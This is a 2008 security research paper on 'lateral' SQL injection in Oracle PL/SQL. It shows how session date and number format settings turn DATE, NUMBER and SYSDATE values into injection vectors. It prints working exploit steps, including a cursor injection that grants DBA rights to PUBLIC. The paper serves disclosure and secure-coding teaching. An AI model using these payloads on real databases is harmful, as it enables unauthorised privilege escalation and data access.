Lateral SQL Injection:
A New Class of Vulnerability in Oracle

David Litchfield [davidl@ngssoftware.com]
27th February 2008

An NGSSoftware Insight Security Research (NISR) Publication

http://www.ngssoftware.com

How can an attacker exploit a PL/SQL procedure that doesn't even take user input? Or how does one do SQL injection using DATE or even NUMBER data types? In the past this has not been possible but as this paper will demonstrate, with a little bit of trickery, you can in the Oracle RDBMS. Consider the following code for a PL/SQL procedure:

```
create or replace procedure date_proc is
stmt varchar2(200);
v_date date:=sysdate;
begin
stmt:='select object_name from all_objects where created = ''' ||
v_date || '''';
dbms_output.put_line(stmt);
execute immediate stmt;
end;
/
```

It takes no parameters and so typically would not be audited. That said, we can see that the V_DATE variable is embedded within an SQL query which is then dynamically executed via the EXECUTE IMMEDIATE statement. Tracing back through the code we see that value for V_DATE is assigned from a call to the SYSDATE() built in function. If this were somehow influenceable then an attacker could potentially inject arbitrary SQL. As we will see this is fully exploitable but first let's consider this code:

```
create or replace procedure date_proc_2(p_date) is
stmt varchar2(200);
begin
stmt:='select object_name from all_objects where created = ''' ||
p_date || '''';
dbms_output.put_line(stmt);
execute immediate stmt;
end;
/
```

The code here is similar to the code of the first procedure except this time the date is passed as a DATE type parameter. As DATE parameters are thought of as "safe" this procedure would probably not be audited. If we try to perform a typical SQL injection attack here, it fails because the parameter is a DATE and not a VARCHAR:

```
SQL> exec date_proc_2(''' and scott.getdba()=1--');
BEGIN date_proc(''' and scott.getdba()=1--'); END;
ERROR at line 1:
ORA-01841: (full) year must be between -4713 and +9999, and not be 0
ORA-06512: at line 1
```

To exploit DATE_PROC_2 we need to trick the PL/SQL compiler into accepting our arbitrary SQL as a DATE even though it's not. This is easy to do if you have the ALTER SESSION privilege:

```
SQL> ALTER SESSION SET NLS_DATE_FORMAT = '"'' and scott.getdba()=1--"';
Session altered.
SQL> exec date_proc_2(''' and scott.getdba()=1--');
*
ERROR at line 1:
```

```
ORA-00904: "SCOTT"."GETDBA": invalid identifier
ORA-06512: at "SYS.DATE_PROC_2", line 5
ORA-06512: at line 1
```

If we look at the error here we can see that the error has been generated from the DATE_PROC_2 function: it has tried to execute the SCOTT.GETDBA function which just happens not to exist and thus we get the error. However, all the attacker need now do to complete the attack is create the SCOTT.GETDBA function and execute the procedure again or alternatively use a cursor injection attack as described here: http://www.databasesecurity.com/dbsec/cursor-injection.pdf. Of course, I could've built the procedure first; I chose not to simply to show the error.

Now let's return to our first procedure, DATE_PROC. Recall that it takes no parameters but a variable, V_DATE, the result of a call to the SYSDATE function is embedded in an SQL query then executed. Look what happens when the SYSDATE function is executed:

```
SQL> ALTER SESSION SET NLS_DATE_FORMAT = '"THIS IS A SINGLE QUOTE ''"';

Session altered.

SQL> SELECT SYSDATE FROM DUAL;

SYSDATE
------------------------
THIS IS A SINGLE QUOTE '
```

Thus if we now execute the DATE_PROC function this should generate an unclosed quotation mark error:

```
SQL> EXEC DATE_PROC();
BEGIN DATE_PRC(); END;

*
ERROR at line 1:
ORA-01756: quoted string not properly terminated
ORA-06512: at "SYS.DATE_PRC", line 7
ORA-06512: at line 1
```

And to exploit we can inject a cursor:

```
SQL> SET SERVEROUTPUT ON
SQL> DECLARE
  2  N NUMBER;
  3  BEGIN
  4  N:=DBMS_SQL.OPEN_CURSOR();
  5  DBMS_SQL.PARSE(N,'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN
EXECUTE IMMEDIATE ''GRANT DBA TO PUBLIC''; END;',0);
  6  DBMS_OUTPUT.PUT_LINE('Cursor is: '|| N);
  7  END;
  8  /
Cursor is: 4

PL/SQL procedure successfully completed.
```

```
SQL> ALTER SESSION SET NLS_DATE_FORMAT = '"'' AND
DBMS_SQL.EXECUTE(4)=1--"';

Session altered.

SQL> EXEC DATE_PROC();
select object_name from all_objects where CREATED = '' AND
DBMS_SQL.EXECUTE(4)=1--'

PL/SQL procedure successfully completed.
```

Thus we can see it's possible to do two things. Firstly an attacker can pass off arbitrary SQL as a DATE type parameter; secondly an attacker can laterally influence the SYSDATE function using ALTER SESSION and exploit procedures and functions that don't even take direct user input. As a final point of interest it must be noted that NUMBER type data can be manipulated to contain single quotes:

```
create procedure num_proc(n number) is
stmt varchar2(2000);
begin
stmt:='select object_name from all_objects where object_id = ' || n;
execute immediate stmt;
end;
/

SQL> ALTER SESSION SET NLS_NUMERIC_CHARACTERS = '''.' ;

SQL> SELECT TO_NUMBER( 100000.10001, '999999D99999') FROM DUAL;

TO_NUMBER(100000.10001,'999999D99999')
--------------------------------------
                             100000'1

SQL> exec num_proc(TO_NUMBER( 100000.10001, '999999D99999'));
BEGIN num_proc(TO_NUMBER( 100000.10001, '999999D99999')); END;

*
ERROR at line 1:
ORA-01756: quoted string not properly terminated
ORA-06512: at "SYS.NUM_PROC", line 5
ORA-06512: at line 1
```

Now, whether this becomes "exploitable" in the "normal" sense, I doubt it... but in very specific and limited scenarios there may be scope for abuse, for example in cursor snarfing attacks - http://www.databasesecurity.com/dbsec/cursor-snarfing.pdf.

In conclusion, even those functions and procedures that don't take user input can be exploited if SYSDATE is used. The lesson here is always, always validate and don't prevent this type of vulnerability getting into your code. The second lesson is that no longer should DATE or NUMBER data types be considered as safe and not useful as injection vectors: as this paper has proved, they are.